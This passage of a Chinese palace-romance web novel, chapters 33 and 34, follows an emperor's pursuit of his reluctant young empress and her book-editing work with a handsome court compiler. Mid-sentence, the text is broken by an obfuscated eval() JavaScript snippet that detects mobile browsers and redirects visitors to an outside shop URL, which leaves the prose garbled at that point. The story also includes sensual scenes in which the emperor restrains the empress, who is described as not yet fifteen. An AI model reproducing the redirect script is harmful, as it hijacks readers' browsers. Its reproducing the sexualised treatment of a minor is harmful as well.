“关你什么事,你别动我这只箱子,丢了一张我就打得你满地找牙。” 她总是这样凶巴巴,像是随时都会向皇帝抡拳头的模样,披着坚硬的盔甲刀枪不入。但是说到出书,眼睛里还是闪过了一丝落寞。在她一向坚韧无所畏惧的面具下,那一丝的落寞显得格外的扎眼。 出书,她一个女子能出什么书。自古以来皆谓妇人唯酒食缝纫是务,不应操管握牍,吟弄文史。闺阁女儿能刊刻的不过是些闺怨诗集,谁要敢提笔妄议时政,针砭时弊,还不要骂一句牝鸡司晨,口诛笔伐。 可这份治河方略不仅凝结着前人的智慧,更是包含了父亲十年来的治河固沙,防洪疏浚方略河议、河道图纸,也有她对治水的见解与心得。 只是她终究是女儿身,纵使父亲再宠爱也不觉不可能真的到河堤上去指点江山。最多最多只能跟在父亲身后做一个小小的跟屁虫,借着父亲的名义去实践自己的想法。 好在她的父亲足够开明也不吝啬教授她治河修书之道,在这个女子只让相夫教子,悲伤春秋的时岁做一些不一样的事,她也没非要以后在这些书上写上自己的名字的。 但她一直以为很笨,缺心眼的皇帝,凑过脑袋来却兴致勃勃道: “念念,你想出书是不是?朕看京城好些小姐夫人都时兴刊刻诗集,你也出吧。朕的翰林院有天下最顶级的才子,朕让他们挑个编修来帮你,修书好了就送到武英殿去刻印。我们把你的名字写在第一个,让天下都知道这河图方略集是你写,是朕的皇后写的。” 不得不说这些鬼话还是正中了苏娘子的心脏,唤醒了还昏睡着的灵魂。惊讶的回头撞进皇帝的眼睛里,落着明媚的阳光,像是早晨波光粼粼的春水,将她坚硬的盔甲都要融化掉了。 他还在笑,意气风发,像她是他的皇后是一件很得意的事,能把她的名字写在书上传阅天下,他也与有荣焉一样。 “你发什么神经,走开!” 苏娘子板着脸推开皇帝,依旧还是一副万年不变冷冰冰,嫌弃皇帝的样子。似乎他做什么都不对,说什么都哄不到她一样。 “念念,你怎么了,朕又说错话惹你生气了?出书是好事,你干嘛生气…..” 皇帝不明白拉住苏娘子胳膊,转到她面前堵住她的去路,才发现她含着嘴角在笑,被他发现了立刻又绷起了脸。 “念念,你笑了!你笑了对不对,朕就知道你喜欢朕,平日是故意做出冷冰冰的样子来的!” “……” 苏娘子不想理他,也不想再笑了。因为他知道自己喜欢,即便是他先欺负了她,也选择嫁给她,甚至是和母亲决裂也要跟着他回宫,给他做皇后。所以有恃无恐,仗着这份喜欢顺杆爬。 “念念,你不要总是这样凶巴巴的对朕好不好。可不可对朕好一些,还叫朕岳凌哥哥,我们一起住在乾清宫好不好?”皇帝手痒抱住了苏娘子,温柔的亲吻她的软发,发烫的耳朵,揽着她的腰肢揉进怀里,“我们都是拜见过天地祖宗的夫妻了,你明明心里有朕的。恩爱夫妻哪有天天分房睡的,你不想朕吗?他们说喜欢一个人会思念成疾,一日不见如隔三秋的。” “混蛋,你放开我!”苏娘子伸手一把揪住皇帝腰间的软肉,使劲狠狠的掐,“你再敢不经我同意毛手毛脚的,信不信我把你的狗头拧下来!放手!” “啊啊…疼疼,你轻点!”皇帝挨不住疼赶紧撒手,苏娘子踢了他一脚进寝殿了。皇帝掀开衣服往腰间一看,腰肉上直接青了一大片。怀疑刚才那一下钻心的疼,苏娘子是不是掐到他腰子上去了。 “念念,你下次能不能下手亲点,朕疼死了!” 皇帝揉着腰跟进殿,苏娘子的骂声又响起了,“混蛋你出去,我在换衣服!” “喔…”皇帝非但没出去,躲在屏风后伸脑袋头看。苏娘子刚穿上中衣,撩出长发压在衣服里的长发,中衣滑落细腻的肌肤,露出一双莹润如玉的间头。皇帝只看见了一眼,还是觉得身上有些燥热。 “你看到什么了,信不信我挖掉你的眼睛!”苏娘子拢着衣服,凶巴巴的回头瞪眼。 “没…没,朕什么都没看见!念念,你别生气!” 皇帝捂住眼睛,连滚带爬跑出寝殿,依在汉白石头望柱上,望着紫禁城碧蓝的天空难过。 皇后喜欢他,但她不说,不愿意承认,甚至不许他抱她,看她….. —— 二十五这日如皇帝所说一般,苏娘子这一整日都是他的倒是应验了。用过早膳后,两个人本来自各看书批奏疏。皇帝不知从让什么时候就黑起了脸,奏疏翻得哗哗的响,朱批不了两个字毛笔几乎是摔到笔山上,殿里弄的乒乒乓乓的响。 苏娘子没忍住问怎么了,皇帝说看不懂内廷的开支进项了。苏娘子朝他桌子前伸手,奏疏就递到了手上,一看是吏部上半年的夏税和各项开支。自此之后皇帝的奏疏就换了地方,逐渐转移堆到了苏娘子的桌子上。 皇帝还搬了椅子坐到她对面,两个人坐在一起将自先帝以来内外廷数十年间的各项税收开支逐一梳理。减免河南税负,缩减内外开支,再抬头望天时,天色已经黑尽了。 三福候在殿外,听着里面的议论声停了,抱着两只大盒子又送进来几封请安折。 “万岁爷,这是阁臣们这个月进献的鹿鞭还有各类补药的请安折,您请过目。” 皇帝在请安折里翻找,出了京官的,还找到了肖阁老的折子。已经是一个月前的了,作为一个退休阁臣和皇帝报平安,还寄来了上好的淫羊藿锁阳酒。 皇帝还蛮感动的,那老头除了压制他掌权之外,这些年来国家政务都处置的很好.除了把老头和不听话的官员赶走,朝廷的税收、兵备、京察章程皇帝一点都没敢动。 他知道政务自己还有很多不熟悉的,想要改革必须要先求稳。就是他和百官一样太关心他的身体了。 真怕他不能生,断了皇家的香火。平日里一个个看着老成持重的官员,转头不知道从什么地方就能掏出来各种稀奇古怪的壮阳方、药材进献。早朝除了廷议政务,百官就是关心皇帝的身体了,每日太医院都被点名询问。 只是这也太尴尬难为情了,早朝上同一帮大老爷们讨论自己到底行不行的事,皇帝觉得自己脸皮还挺厚的。但是现在皇后回来了,让她看见这些东西,他就有些不好意思了。 “念念,朕早就没事了,就是阁老们瞎担心了。你也知道他们这帮老头,听风就是雨的。这些东西朕以后都不吃了,朕好的很!” 苏娘子失笑,翻开进献的锦盒子,各样上好的鞭、肾、起阳石。三福说殿外还有一只梅花公鹿,他们出去看果然乾清宫的小花园里栓着一只梅花鹿,脑袋上顶着大大的鹿茸,悠哉悠哉的吃草。 三福:“万岁爷,这是礼部侍郎张茂大人进献的,听说鹿血大补,现取现用更是大有裨益!您要不要试试,奴婢现在就给您取血。” 皇帝尴尬的看苏娘子,脸都不知往哪放。哪有当着皇后面前补身体的,好像他真的很着急生孩子一样。 苏娘子:“看我做什么,又不是给我的。你不想吃就和大臣们说你自己好了,不用吃了啊。” “可是他们不信朕,除非朕给他们生个太子出来!” “那你生啊。” 苏娘子转身进殿了,皇帝站在风中凌乱,有些后悔嘴快了。三福捂着嘴偷笑,拐了拐皇帝的胳膊。 “万岁爷您发什么呆,进殿去啊。皇后娘娘话都说那么明显了,您还真指望您自己生太子,当然是皇后娘娘了。还有您身体到底行不行得试了才知道,不然这药您还得接着吃才行。” “可是…..不行,朕觉得皇后她….不行….” 皇帝支支吾吾的这不行那不行,急得三福以为他失去重振雄风的信心了。 “万岁爷行不行,您试试啊。那是皇后娘娘,真若不行在她面前不算丢脸。” “多嘴,不用你管,赶紧忙你的去!” 皇帝赶走三福跟着苏娘子进殿,她在整理自己书桌上的奏疏,头也不抬道:“我不喜旁人用我的东西,你回养心殿洗干净了再来。” 旁人那两个字还挺扎人心疼的,但是她说去养心殿洗干净了,皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739262|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝瞬间就觉得这话悦耳了。颠颠的跑回养心殿了,临了特意嘱咐安心姑姑别关门,自己还要回来。在宫外碰上小梅,那丫头向来不惧他,皇帝逮着小姑娘还凶巴巴的命令她不许关宫门。小梅才不理他,回乾清宫铺床了。 今夜算是个大日子,三福是敬事房太监,对皇帝临幸妃嫔的流程熟记于心。得知皇帝养心殿洗澡了,又揣着敬事档跑到皇帝面前。 “万岁爷,您怕不行,奴婢给您想了另外一个花样,保管能行!” 皇帝看见他掏出只锦盒,打开来是光润的银托子,说话喉咙都紧了狠狠的骂了他一顿。 “拿走,以后朕和皇后不许你跟着瞎掺合!再想着给朕弄什么新鲜花样,乱七八糟的东西,朕揍死你!” “可是奴婢就是干这个的,万岁爷!不是您担心自己不行,奴婢才给您想办法嘛!” “闭嘴,滚!” 皇帝朝三福踢过去一脚,披着长袍往乾清宫去了,三福哭着丧着脸边追边喊。 “那万岁爷,奴婢今夜还要给您和皇后娘娘守夜吗?宫里规矩,妃嫔侍寝敬事房要记档的。” “不用!” “那….那奴婢敬事档怎么写?” “你自己看着办!” 皇帝气呼呼的走了,三福想想也乐得轻松,照着头次的敬事档编了一遭回值房睡觉了。 乾清宫,这回给皇帝留灯留门了。只是他墨迹得久,乾清宫里都下灯了。安心姑姑引着皇帝到寝殿,“万岁爷,进去吧,皇后娘娘已歇了。” 殿内灯火昏暗,轻悄悄的,只有夜风穿堂掀起碧绿的纱曼在轻柔的飞舞。 不知道是不是被三福一顿折腾还是如何,皇帝原还没什么感觉。如今倒一闻到殿内苏娘子最爱的小四和香,心思便有些乱了,脑子了总是浮现白日里那抹莹白的香肩。 信步踏入寝殿,身体里的感觉就更明显了,好像这些日子吃的补的的那些药材突然都起了药效。只几步的距离竟走的汗涔涔的,皇帝觉得自己不是不行的。只是眼下还不是时候,他想那便权当磨练心性了。 打定了主意掀开穿珠帘走到拔步床前,只见床上空荡荡。苏娘子并不在,但铺好了专门给的被子,上面留了书信: 我与小梅一起睡在偏殿了。 皇帝这才明白原来苏娘子说的留宿乾清宫是这个意思,和衣服躺到拔步床上,鞋也不脱,心里拔凉拔凉的。 胡思乱想了一会儿,寝殿内突然响起微弱的脚步声。突起夜风,吹灭了殿内的烛台,也吹灭了靠过来的温暖烛火。 皇帝侧首,看见蒲柳般的身姿朝着拔步床走来。他闭上眼睛装睡,身影到跟前嫌弃的踢了他一脚,探身扯过床后的薄被。 “干什么?” 皇帝突然睁开眼,抬手一把圈住纤细的腰肢,苏娘子惊呼一声跌到他身上。 “你干嘛,放手!” “不放!你让朕留宿乾清宫就是这个意思,你和小梅睡,让朕一个人睡?” “不然你还想怎么样,放手,我要回去睡了!” 苏娘子气冲冲的瞪他,撑着皇帝胸膛起身。他简直是故意的让她起了一半,又狠狠的压下胳膊,苏娘子无处支撑又一次摔到他身上。 “混蛋,你再不放手别怪我不客气!” 苏娘子气得直接发抖,胡乱挣扎捶皇帝,殿内又响起了细微的脚步声。 “….娘子?怎么了,您不是说就来看看吗,怎么还不回去。” 苏娘子回头一看,小梅已经掌着灯到穿珠帘下了。 “混蛋,放手!小梅来了,你敢欺负我,她可不怕你!” “这是你说的…..” 皇帝才不怕脱掉衣服,光裸着上身。苏娘子捡着空档赶紧跑,皇帝手疾眼快的又抓住她的胳膊一把拽回来。 苏娘子跌下身长发洒落,遮住了半张脸,发尾轻柔的扫在皇帝的胸膛。瞧着他的眼睛恍了神,能看见那双狐狸眼又亮又狡猾,像只狐狸一样。手指捏着她的胳膊,指腹压着轻薄的纱衣轻轻的揉搓,臭嘴里说出话的又是那般的不要脸。 “朕脱光了看她怕不怕?” “…..你….流氓!” “随便你怎说。” 皇帝死皮赖脸道,横着大长腿堵住床,把苏娘子圈在床后。 “让小梅走,不然朕就把裤子脱了吓死她。” “你!”苏娘子真的怕皇帝一言不合又脱的光溜溜的,抓起床上的被子丢过去一把盖住皇帝,很不情愿的朝外面喊道:“小梅,我没事,你先回去。” “啊?娘子你真的没事吗。皇上是不是又欺负你了?” 小梅掀起穿珠帘,掌灯只看见皇帝兜头兜脑的躲在被子里,顾头不顾腚的露出大半截腰在外面,衣服丢了一地,苏娘子还爬到床上去了。 “喔….奴婢知道了。” 她想应该真的没事吧,毕竟苏娘子真的想揍人皇帝是吃不了兜着走的。于是小跑着出了寝殿关上门,回到侧殿把灯也熄了。 33. 第 33 章 这夜皇帝堵住了床不让苏娘子下地,两个人大眼瞪小眼挨到三更天。苏娘子抱着软枕窝在床角打盹,皇帝爬过去拍了拍她的肩膀。 “念念,睡吧,朕不会对你怎么样的,天快亮了。” 苏娘子也不知道是睡迷糊了还是如何,踢了皇帝一脚,“柜子里还有被子,你去再拿一床过来。” 皇帝应好,跑去抱了一床崭新的锦被在床边躺下。 “你睡里面….” 苏娘子抱着软枕和被子给皇帝腾地方,皇帝笑着凑到她跟前,“好,朕依你。但你夜里不许跑,我们是夫妻彼此这样一点信任还是要有的好不好。朕发誓绝不碰你,你夜里也不准趁朕睡着了跑了。” 苏娘子在皇帝面前难得点头了,两人调换位置,各盖各的被子躺下睡觉。 “念念,不信朕,怕朕会对你做什么,睡在外面好随时逃跑是不是?” 皇帝枕着胳膊,侧身望着苏娘子。她不理他转身背对着皇帝闭上眼,假装睡觉了。 皇帝望着她的背影有些难过,不明白她的心到底在想些什么。明明不信任他,却选择跟他回宫了。害怕他兽性大发,也还愿意和他躺在一张床上。 他想她的内心一定很纠结吧,喜欢上他那么一个男人,百般愁绪万千都该把她困得透不过气来了吧。 “念念,睡吧。” 皇帝轻声道,望着苏娘子冷漠的身影直到困意来袭闭上眼睛。黑夜里,苏娘子回过头看了他一眼,长长的吐出一口浊气。睁眼望着窗外落进的月光发呆,她以为自己定是很不习惯睡在皇帝身边的,但没有小梅也没有那只脏兮兮的小破狗,没一会儿她也闭上了眼睛睡着了。 再次醒来的时候是寅时,皇帝起身上朝,蹑手蹑脚的抬脚从她身上跨过。 “…..你干嘛?” 她突然被惊醒还有些懵,正对上皇帝的脸有些不高兴。 “朕….朕该上早朝了,是朕惊醒你了是不是。朕轻些,让朕下床,你去床后再睡一会儿。” “不许从我身上跨过去会长不高的。” 苏娘子缩起腿,团成小小的一团给皇帝让道,哀怨的话逗得他心肠一软。才想起来她如今说是及笄了,实则连生辰都还没过,要过了十月十六的生辰才满十五岁。平日里总是一副老成的模样,不知道的还以为她已经三十多了。实则还是个孩子,还担心的长个的事。 他想笑她,告诉她小姑娘子十五岁及笄就不长个子了。却又不敢笑的太明显,下了床披上衣服就走回养心殿了。 上朝前皇帝穿戴好又来乾清宫了,苏娘子以为他该遗直接从养心殿去太和殿了。没想到他还回来了,滚到了床后睡。被子上还残留的温柔龙涎香,她闭着眼睛轻轻的闻,直到那么淡淡的香气随着被上的温度消散开才又睡过去。 皇帝悄声来到床边坐下,什么也不干也不叫醒她,只是望着她熟睡的容颜发了一会儿呆。到了寅时三刻安心姑姑帮大福进来催该上朝了,皇帝起身时莫名的苏娘子也睁了眼,两个人的目光猝不及防的撞在一起。 苏娘子有些不好意思,先别开了眼。皇帝又坐了回来,探身微凉的手抚上她温热的脸颊。 “朕以后再也不从你身上跨过去了好不好,不会长不高的。朕先去上早朝了,再睡会儿。” 苏娘子不理他,说了些没用的情话,皇帝便走了。 半个月后,礼部挑选了个年轻的编修官推荐给皇帝。杜少卿,翰林院编修,明宣六年三甲同进士出身。出身于河道世家,祖父、父亲皆曾任过河道总督,掌管天下河道、防洪漕运。参与过国史和先帝实录的编纂,在翰林院无论是才学还是相貌都颇有名气,人称玉面编修小郎官。 皇帝亲自领着人进宫,在雨花阁帮苏娘子修书。每日巳时进宫,申时关闭宫门前出宫,两个人忙了一个月就将苏萤臣的手稿整理好了。杜家还有一座三层的藏书楼,尽藏历代名家治水河图。 杜大人每日又带了好些几乎是快要绝版的古籍进宫,苏娘子读过觉得这样的书束之高阁太可惜了,又起了整理抄录之心,想做一本汇集古今天下治河方略大全,将来刊印成册传阅天下,物尽其用,人尽其才,原本只是预计三个月的编修最后又增加了六个月。 入了冬京师天越来越冷,下过雨雪后,风刮起来跟刀子一样。屋里的炭火氲着春日般的暖意叫人又懒又困,乾清宫里小梅喊过三遍后不见人又跑进了殿里拽被子。 “娘子还不起,杜先生都到雨花阁等你了。人家从长营街帽子胡同赶着进宫来帮您修书了,您还在睡懒觉。您今日要不想动了,昨日就同先生说休息一日,免得人家白跑一趟嘛。” “好啦好啦,知道了。赶紧帮我洗漱梳头,早膳送到雨花阁去。” 苏娘子掀开被子蹿起来,着急忙慌的梳洗,半个时辰后就揣着小暖炉去雨花阁了。昨夜下了雪,紫禁城红墙琉璃瓦铺了一层莹润的白,屋檐下结着一排排长长的冰柱。 苏娘子第一次见到如此不一样的紫禁城,还觉得新鲜的紧。走到宫道上边走边抓雪玩,还伸手去揪屋檐下的冰锥。到雨花阁的时候手都凉透了,指腹红彤彤的像猫爪一样。 掀帘进了屋,脱下披风扫去身上的雪。小梅赶紧递过暖炉,“娘子快暖暖手,该是冻僵了吧,一会儿吃点热粥暖暖身子。” 但他们都到雨花阁了,送膳的太监还未到,她又道:“看样子御膳房送膳的太监是在路上摔了,娘娘先进屋去,奴婢去瞧瞧。” “嗯,姑姑。我不饿不急着吃,您让他们慢慢送来。” 苏娘子揣着暖炉进到暖阁里,杜大人连忙起身整理衣衫行礼,“下官拜见皇后娘娘。” “杜大人不必多礼,这些日子我跟着您还学到不少东西,论理来拜您为师都不为过,同您说过好几次了不必行如此大礼的。” “娘娘哪里的话,君臣之礼不可废。” 杜大人还是跪下拜见行了大礼,苏娘子犟不过这些读书人便随他了。才刚坐下动动鼻子就闻到了屋子里的玫瑰香,她瞧着杜大人突然眼巴巴的问道: “大人刚才在屋子里吃什么了?” 杜大人脸色一窘,不好意思从袖子里掏出只油纸袋,里面装着两个玫瑰烧饼。一个吃了一半,听见她们的动静匆匆就收起来了,另一个还好好的,看样子是他的早饭了。 “回娘娘,是臣的早饭。今日起晚了,赶不急吃在府里吃早膳便在路上买了两只烧饼。本想在娘娘来前吃完,想不到还是让娘娘见笑了。” “好香啊….”苏娘子瞧了饼子一眼,能在这样严寒的时令闻到玫瑰花香,知道那应该是云南的玫瑰花酱做的烧饼。长营街的帽子胡同有一家烧饼铺子最是擅长做这烧饼,小时候她最爱吃了,回了四川后就再也没吃了。肚子里的馋虫被勾起来,想着赶明儿出宫和三哥去买些。 她让杜大人先用早膳,还命宫女奉上热茶,杜大人慷慨的把油纸袋里没动过的饼子递了过来。 “娘娘不嫌弃尝尝,帽子胡同童家老爷子的手艺。不是什么山珍海味,但胜在味道不错,颇有云南的风味。” “这是大人的早饭…..” 苏娘子还有些不好意思。 杜大人笑道:“下官吃一个就吃饱了,再说一会儿就用午膳了。娘娘可以试试,听说童老爷子说您小时候住京城那段时日也很喜欢吃他家的烧饼。老爷子到这会儿还时常念起您,逢人就说这是当今皇后娘娘也喜欢吃的烧饼呢。” “童老爷子还这样啊,我小时候是很喜欢他家的烧饼,不知道这么多年来味道变了没。” 苏娘子接过饼咬了一口,酥脆掉渣,满口玫瑰香。但她不记得小时候的味道了,不知道变了没变,但饼子很好吃。 吃完烧饼,两人照常开始每日的孤本抄录整理,并加上自己的批注。苏娘子拿着笔抄了五六页纸忍不住就打了盹,身上汗涔涔的,似阁楼的炭火烧得太旺了。 杜大人看见她神情不佳,提议道:“娘娘可是累了?昨夜初雪,今日紫禁城正式难得一见的美景。不如出去透透气,休息一 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杜大人侧身一躲,雪球碎在黑色的狐裘上,伟岸的身躯立在雪中如青山。下一刻又团了个松软的雪球砸来,这次苏娘子没躲开站在雪里发愣,小梅也是雪球砸到苏娘子身上,才迟钝的反应过来了。立刻挡下伞,尴尬的看着苏娘子,小声咕哝道: “娘子,这….这是在干什么,杜大人怎么可以用雪球砸您啊?” 是啊,苏娘子的心凉嗖嗖的,拨开小梅的伞。杜大人的身影不知何时就走到她们跟前了,她一抬眼刚好落进他微凉湿润的眸子里。 “…..下官唐突了,娘娘这些可是醒了瞌睡了?” “醒…..醒了,我们回去吧,天太冷了。” 苏娘子不是瞌睡醒了,是连晚上都要睡不着了。懊恼起来干嘛要嘴馋吃他的饼,又干嘛要手痒团雪球砸回去。孤男寡女,有夫之妇,被养心殿那个祸头子知道定是要吃醋的。 还有….她闷闷的胡思乱想,忍不住回头偷瞄了一眼身后的杜大人。身玉长,秀美目,美须髯。京师男子以蓄髯为美,苏娘子初见时候只觉得此人年纪轻,却生得甚是稳重端正。如今再看才发觉原来是“翩翩佳公子,逸气凌青云。” 只是….. “娘娘怎么了,适才是下官不对,唐突娘娘了。只是看娘娘一直萎靡,精神不振,故吓吓娘子清醒一下。娘娘想来是早膳用的太多了,雨花阁内炭火烧的太旺才至如此。明日可少食些,亦或是早半个时辰用早膳,瞧书时就不会犯困了。” 苏娘子回身,杜大人已在拱手作揖赔罪,挺拔的身姿像是风雪里被催折的青松一样弯着腰,在等着她的一句宽恕。 她才知道原来再高的才情,再硬的傲骨依旧还是要为权贵所折腰。在这宫里,一人之下万人之上,甚至是皇帝也看她的脸色。诺大的紫禁城里没有人敢对她不敬,敢对她扔雪球。 “我没事,杜大人请起,还要感谢大人那一球把我给砸醒了。适才只是觉得我已经长大了,贵为皇后还毛毛躁躁的团雪回砸您实在是没有皇后的仪范了。” “多谢娘娘,其实娘娘不必太过在意被宫里条条框框的规矩束缚,您也不过刚及笄还是个孩子,爱玩正是天性使然。娘娘是青山原野中的云雀,虽飞入了紫禁城,您却也依旧还是您,燕雀亦有鸿鹄之志。” 杜大人起身瞧着苏娘子,玉面映雪瞧着她的精神一恍惚,有些害羞的躲进小梅的伞里。 “小梅,他怎么那么会说,长的还那么好看。” 小丫头偷偷从伞后抬头偷看,“当然了娘子,杜大人可是进士出生。朝廷科举不仅要看才学,还得看脸,听说翰林院里像杜大人这样的还有好几车。” “……” 苏娘子心思有些乱,隐隐想起来皇帝曾经说过的一句话。人与人之间的感情是很脆弱的,朝夕相处易于滋长,分散别离亦会断裂。他说她现在不喜欢他,不代表以后不会。 可是现在只是短短不到一年,朝夕相处修书时日,面对这么一个满腹才学的玉面编修。比起整日咋咋唬唬,与群臣鼓吹自己到底行不行,还能不能生的,不是吃鹿鞭就是喝鹿血的皇帝。 苏娘子忽觉得是不是自己以前见过的男人太少了。 34. 第 34 章 入夜,皇帝驾临乾清宫。来的很晚,乾清宫都下灯了,皇帝才坐着肩舆揣着小暖炉来。人突然走进殿,抬手打起穿珠帘,苏娘子坐在妆台上发呆,被殿内轻盈的脚步声惊动。回头看见皇帝,下意识脱口问道: “你怎么来了?” 她忘了日子,不知是因为皇帝突然的到访而生气还是因为有些乱掉的心思。 “念念你忘记了,今日初五,照例朕该歇在乾清宫的。朕今日政务有些繁忙,故而来的晚了些,不知可是扰到你了。” 苏娘子才想起来连忙抓起妆台上的梳子,佯装镇定的梳头发,“喔,你先上床吧。” 皇帝熟练的跑到柜子里翻自己的被子,经过苏娘子特意凑到她跟前,细细打量了她晦暗的脸。 “念念你怎么了,不高兴?” 她很少有这番愁绪万般的模样,不高兴了寻常都是当场发泄出来的。 苏娘子别过脸,做着往日冷淡的模样,“没有,你先上床吧,我收了东西就来。” 她不想让他发觉自己的不对劲,赶着皇帝上床,没一会儿也躺在床上了。还是一如往日那般,背对着他看不清脸色。瞪着眼睛望着窗柩映进殿来的萤光,等着困意来袭。 只是等了很久很久,她把白日里的事都胡思乱想了一遍依旧毫无困意,倒是背后没有动静了。苏娘子回头翻过身,像偶尔夜醒过来的晚上偷偷瞧着皇帝发呆。 但这次他没有像往日一般熟睡的昏天黑地,不过一刻钟就睁开了眼。 “你怎么了,朕感觉你心里有事不高兴。” 苏娘子枕着胳膊,忽然问道:“杜大人是你挑进宫来帮我修书的是吗?” 皇帝也枕着胳膊看着她,“嗯,只要你想做的,朕都会尽全力去帮你,支持你。怎么了,是杜少卿不合你的意吗?你不喜欢,朕让他们再选一个给你?” “不用了,杜大人很好。” 喜欢,是怎样的喜欢? 苏娘子翻过身去了,她心里有事可她不愿意说,夜里揣着这份心事作了噩梦。 梦见她和杜大人有了私情被皇帝发现了,他拿着她的把柄要她好好听话,不若就把皇后红杏出墙的丑闻公诸天下,让苏家名声尽毁。 她只能好好做皇后,纵使皇帝三宫六院纳满了嫔妃,与别的女人的孩子满地跑。她还是要在人前人后做一个合格的皇后,为他生儿育女。苏家为他的皇位家破人亡,她的父亲和三个哥哥都没了,母亲守在江米巷的苏家成了一个疯子。 她在梦中编织的困境里哭喊,叫天天不应,叫地地不灵,应验了母亲的话。最终在生下皇子的夜晚血崩而亡,变成一缕孤魂飘在紫禁城里,看见皇帝坐稳了江山,肃清吏治,成为一代明君。而她的孩子抱到到新皇后的膝下成了太子,她看见那个抱着她孩子的女人长着一张和肖小姐一模一样的脸。 “啊!” “念念,醒醒!念念,快醒醒!你做噩梦了是不是,睁开眼睛醒过就没事了!” 苏娘子倏的睁开眼,肖小姐终于消失不见了,看清楚了缠枝莲花纹帷幔和皇帝着急的脸色。 “念念,你怎么了?” “呜…..” 苏娘子突然嚎啕大哭,钻进皇帝的怀里止不住的发抖。他从来没有见她这样的害怕无措过,收拢双臂抱住她,心都揪起来了。 “念念,你怎么了?别怕,朕在这里,朕守着你哪里都不去。有什么事你就说出来,憋在心里会生病的好不好?” “呜…..岳凌哥哥,我梦见我娘疯了,我爹爹和哥哥们都死了,只剩下我一个人,最后连我也死了!我好怕….呜…..” “不会的,梦是相反的,师父和大哥他们都会长命百岁的,师母也会好好的。” 皇帝温柔的安慰,苏娘子神色恍惚,听着他的话像只受惊的小猫一样,谨慎的,反复的咀嚼他的话。 “…..岳….岳凌哥哥,你喜欢我的是不是,从来没有骗过我是不是?” “……” 皇帝迟疑了,喜欢不喜欢她,骗没有骗过她。从前这些话,他昧着良心瞎话张口就来了。不知道从什么时候在她面前竟然一句假话都不敢说了,也不敢说真话了。 “朕会对你很好很好的,别怕念念,真的朕不骗你。” “…..” 苏娘子听见这话难过的闭上了眼睛,心里憋了好多好多话,好想问问他杜少卿真的只是来帮她修书的吗?他喜欢过她吗?当真放心将他的皇后放在另外一个学识才情样样过人的男人身边,她的梦真的是相反的吗? ——— 杜大人依旧每日往来紫禁城雨花阁,只是他赶不上吃早饭的时日越来越多了。雨花阁里经常有他从宫外揣来葱油小煎包、糖油粑粑,玫瑰烧饼,好几次遇到初五、二十五的日子皇帝亲自来送早饭,苏娘子都吃饱了。 明明知道她是吃杜少卿的早膳,可皇帝什么都没说。特意来送膳坐不上一刻钟就走了,平日也很少来雨花阁看他们到底在干什么。 可他是紫禁城的主人,即便仍旧未完全掌握实权,可他身边有很多太监甚至还有大内高手。苏娘子觉得皇帝肯定是知道她这段时日同杜少卿走的很近的。 甚至杜少卿还说家中的藏书阁楼还有很多治河孤本,邀请她有机会可以亲自去看看。一个臣子邀请当今皇后去府上,苏娘子感到背脊一阵一阵的发凉。这样的话,皇帝又怎么会不知道。 他知道的,只是不说。 从那夜在皇帝面前哭过之后,苏娘子没再失过态。 春日多雨,紫禁城的天灰蒙蒙的,斜织着细细的雨丝,空气里时刻都是雨水湿润的气息。 今日杜大人又没吃上早膳,从宫外带了徐记的牛舌饼,依旧也带了苏娘子的一份。两人在雨花阁里分食完,窗外的雨势变大了。 水珠噼里啪啦敲打着琉璃窗牍,屋顶上的雨水滑落花檐穿成长长的雨珠。院子里很快就积起了一指深的雨水,苏娘子担心水倒灌进屋里。 过了约莫半个时辰,水漫上两级台阶暴雨才停。阳光穿透乌云出来的时候,苏娘子推开窗,只见院子里的积水不知道什么时候排得干干净净,扫落叶的宫女太监健步如飞的忙着。 “雨花阁的水都排哪里去了,怎么雨停了,水也一下就排完了?” 苏娘子在河堤上看见过泄洪,看见过束水冲沙,却没见过紫禁城的排水。杜大人提笔蘸墨,了了几笔在纸上画出紫禁城地形图,双手恭敬的呈到她面前。 “娘娘,京师北靠燕山,东临渤海,地势北高南低。紫禁城筹备大工依山就势,布局也呈北高南低,下雨雨水可就势下流由神武门流向午门汇入内金水河内。其次从午门外天子御道中高边低形成微斜坡度,下雨雨水可就势流入两侧的地下水道。还有便是紫禁城各项排水明沟暗渠、地下水道、涵洞、流水沟眼纵横交错,可保各宫迅速排雨达到雨停水清的地步。紫禁城自修成以来三百余年来,从未积水内涝过。” “好厉害,大人怎么知道的?” “臣先祖有幸督造过紫禁城大工,故而了解一二。当年紫禁城还有排水图样还存在府上书阁里,娘娘若感兴趣臣可回去找找给您带进宫来看看。” “好啊,紫禁城南北二百三十六丈,东西宽三百多丈,宫殿庭院无数,竟还能保三百年不曾积水内涝,好厉害的疏浚大工。要是也用在地方的话可疏内城洪涝,解民生之困。” 苏娘子接过杜大人的手稿,简洁明了,一眼就能看明白整个紫禁城的构造布局。他是治河世家出身,似乎只要和水有关的都无所不知无所不晓。居于官场也比苏娘子多了一份现实,反问道: “娘娘可知紫禁城修建花了多少年,耗费了多少银钱,征调了几十万能工巧匠和上百万民夫。此乃天子规制,普天之下谁敢逾越。” “我又没说要修一座紫禁城,只用地下的疏浚水道就好了。去岁黄河决口,皇上下令迁民。眼下德安、新同两座新城正在营建,我想可参照紫禁城设置地下水道排雨疏水,以防将来汛期再造成内城洪涝。” 苏娘子拿张图纸舍不得放下,雨花阁外晴空初破,远处的又蓄积了乌云。 杜大人道:“娘娘若感兴趣,不如出去走走,臣可带您看看紫禁城各处的水道。娘娘不知道,您平日里踩的每块地砖下可能都暗藏玄机。” 苏娘子看见了天边的乌云,“可是好像又要下雨了。” “下雨了正好可以一睹紫禁城千龙吐水的盛状,就在太和三殿外。” “千龙吐水?” “娘娘去看看就知道了。” 苏娘子觉得不错,唤了小梅一起撑着纸伞出了雨花阁。 走到紫禁城里几乎是每条都长得一摸一样的宫道上,杜大人都能分辨出来哪条地砖下铺设了暗道,小沟入大沟汇集雨水流入内金水河。 